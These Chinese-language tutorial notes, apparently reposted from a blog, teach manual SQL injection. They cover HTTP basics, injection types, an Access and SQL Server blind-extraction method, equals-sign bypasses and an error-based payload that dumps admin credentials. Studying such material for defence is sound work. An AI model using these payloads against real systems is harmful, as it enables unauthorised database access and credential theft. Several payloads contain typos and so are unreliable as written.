手工sql注入(重点)

sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods)

联合查询:select * from boy union select *from girl select 查库 11,hid,bname from boy union select uid,name,age

 from user

information_schema

http 协议

tcp 1-65535

udp 1-65535

防火墙

8044353

HTTP 针对web的攻击

Web: 前端+后端+数据库

前端 :用户交易 html (标签语言),css(样式表),Javascript (动态处理)

通讯 http/ https 协议  **

后端 c -->php / J(javaSP /ASP/ASPX(.NET)

数据库 :关系型数据库 MySQL Oracle db2 SqlServer msSQL  MongoDB

HTTP

请求request

回复responset

POST /login.php HTTP/1.1  ##请求行

HOST: www.xxx.com(键值对,前键后值##一行)##请求头

User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5

//空白行,带表请求头结束

Username=admin&password=admin //请求正文

HTTP请求对应的是HTTP响应,HTTP响应也是由3部分组成,分别是:响应行响应头(消息报头)响应正文(消息主体)

(HTTP头详解)ß(配套群里HTTP头详解食用)

HTTP/1.1 200  OK     /响应行

Date:Thu,28 Feb 2013 07:36:47 GMT //响应头

SERVER

Content-Length

….

// 空白行,代表响应头结束

<html> //响应正文或叫消息主体

  <head><title>index.html</title></head>

<html>

**闭合**

SQL注入

原理:用户对SQL注入语句的可控性,可以输入数据库指令,被SQL解释器执行,导致数据库被用户控制

分类:

数字型+字符型

数字型注入多存在于aspphp网站的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5PHP会自动来推导变量id的类型为int类型语言,那么id=5 and 1=1 则会推导为string类型,这是弱类型语言的特性;而Javac#这类强类型语言,如果试图把一个字符串转换为int类型,处理不当则会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格的程序员,在数据类型处理方面一定要严格设置

Id=5 and 1=1

Select  * from table where id=8

字符型注入

输入参数为字符串时

例:

Select  *  from table where username = ‘ admin ‘

Select  *  from table where username= ‘ 8’ or 1=1 –‘

Select  *  from table where username= like ‘%admin%’

http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1

select * from goods where goods_name ='N85 '(浅闭合单引号) and 1=1 or '''

只要是字符串则必须单引号闭合以及代码注释,无论是select注入,insert注入,或者其他类型的注入

例如update语句:某常见的卖家修改商品名称的功能,SQL语句如下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;

现在需要对SQL语句注入,这需要闭合,可在name插入语句为’+(select name from users where id=1)+’,最终执行的SQL语句为:

Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;

利用两次单引号闭合才能完成这一次的闭合

注意:根据数据库的不同,字符串连接符也不同,如SQLserver连接字符是“+”,Oracle 连接符为“||”,MySQL 连接符为空格

其他分类方法

注入点不同:

- Cookie注入,POST 注入,get注入,搜索型注入

利用的SQL语句不同:

- Update注入,select注入,union注入

注入显错方式不同:

- 错注入,盲注

花式高级

延时注入(boolen,二分法),二次注入

注入思路

  1. 判断是否有注入点
  2. 注入点类型判断(数字 or 字符 )
  3. 判断数据库 AcessMySQLmsSQLOracle,其他)
  4. 查询有哪些库(acess可以跳过)
  5. 查询有哪些表
  6. 查询某个表有哪些列
  7. 查询每一条记录的内容

主信道

80 http HTML

侧信道

电源, 空气,声音 ,时间* 53 dns协议*SIM卡 ,示波器

不能用等号时

|| 555*666=666*555*1

|| 555*666 in (666*555*1,1);

|| 555*666 like 666*555*1

手工注入

  1. 判断注入点

(1) and 1=1

(2) and 1=2

  1. 简单判断数据库类型

. and exists(select count(*) from msysobjects)msysobjects表为access特有的,但默认无权限读取)

and exists(select count*from sysobjects)sysobjectsSQLserver特有的)

0<(select top 1 asc(mid(admin,1,1)) from admin) top2:前两行)(top 1: 前一行 横行 参数1从第一位开始取 参数2:取1位字母)

  1. 猜表名称:

And 0<=(select count(*) from admin) –判断是否有admin这张表

  1. 猜表中账户的数目(行数)

and 0< (select count(*) from admin) –判断admin这张表里是否有数据

and 0< (select count(*) from admin) –判断是否有1条以上的数据

  1. 猜测字段名称 count括号里加上我们想到的字段名称

and 0< (select count(admin) from admin)

  1. 猜各个内容的长度

and  (select top 1 asc(mid(admin,1,1)) from admin)>0 说明内容长度大于等于1

and  (select top 1 asc(mid(admin,2,1)) from admin)>0  说明内容长度大于等于2

and  (select top 1 asc(mid(admin,3,1)) from admin)>0  说明内容长度大于等于3

and  (select top 1 asc(mid(admin,6,1)) from admin)>0  说明内容长度大于等于6

and  (select top 1 asc(mid(admin,7,1)) from admin)>0  说明内容长度大于等于7

  1. 猜字段内的内容

and  (select top 1 asc(mid(字段名,从第几位开始,取几个字符)) from admin)>$0$ -不报错一直测量下去

读取字段值

Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#

猜你喜欢

转载自www.cnblogs.com/fytech-/p/10463049.html